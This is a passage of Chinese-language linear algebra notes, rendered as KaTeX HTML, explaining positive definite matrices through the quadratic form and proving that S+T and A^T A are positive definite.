style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>比如 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>S</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>a</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>c</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> S = \begin{bmatrix} a &amp; b \\ b &amp; c \end{bmatrix}, x = \begin{bmatrix} x_1 \\ x_2 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></p><p>则有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>a</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>b</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>c</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mi>a</mi><msubsup><mi>x</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><mn>2</mn><mi>b</mi><msub><mi>x</mi><mn>1</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mi>c</mi><msubsup><mi>x</mi><mn>2</mn><mn>2</mn></msubsup><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T S x = \begin{bmatrix} x_1 &amp; x_2 \end{bmatrix} \begin{bmatrix} a &amp; b \\ b &amp; c \end{bmatrix} \begin{bmatrix} x_1 \\ x_2 \end{bmatrix} = a x_1^2 + 2b x_1 x_2 + c x_2^2 &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord">2</span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord mathnormal">c</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p></p><p>因此，正定矩阵可以看作是一个能量函数，将向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 映射到一个正的标量值。</p><blockquote><p><strong>If <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> are symmetric positive definite, so is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>+</mo><mi>T</mi></mrow><annotation encoding="application/x-tex">S + T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span></strong></p></blockquote><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex"> T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 是对称正定矩阵，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>+</mo><mi>T</mi></mrow><annotation encoding="application/x-tex"> S + T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 也是对称正定矩阵。</p><p>因为 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mo stretchy="false">(</mo><mi>S</mi><mo>+</mo><mi>T</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>+</mo><msup><mi>x</mi><mi>T</mi></msup><mi>T</mi><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>+</mo><mn>0</mn><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T (S + T) x = x^T S x + x^T T x &gt; 0 + 0 = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1413em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9747em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9304em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p></p><p>显然成立</p><blockquote><p><strong>If the columns of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> are independent, then <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex">S = A^T A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> is positive definite.</strong></p></blockquote><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是满秩矩阵时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> S = A^T A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> 是正定矩阵。</p><p>因为 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><msup><mi>x</mi><mi>T</mi></msup><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi><mo>=</mo><mo stretchy="false">(</mo><mi>A</mi><mi>x</mi><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mo stretchy="false">(</mo><mi>A</mi><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><mi>A</mi><mi>x</mi><mi mathvariant="normal">∣</mi><msup><mi mathvariant="normal">∣</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex"> x^T S x = x^T A^T A x = (A x)^T (A x) = || A x ||^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1413em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord">∣∣</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mord"><span class="mord">∣</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span></p></p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列线性无关时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> A x \neq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span 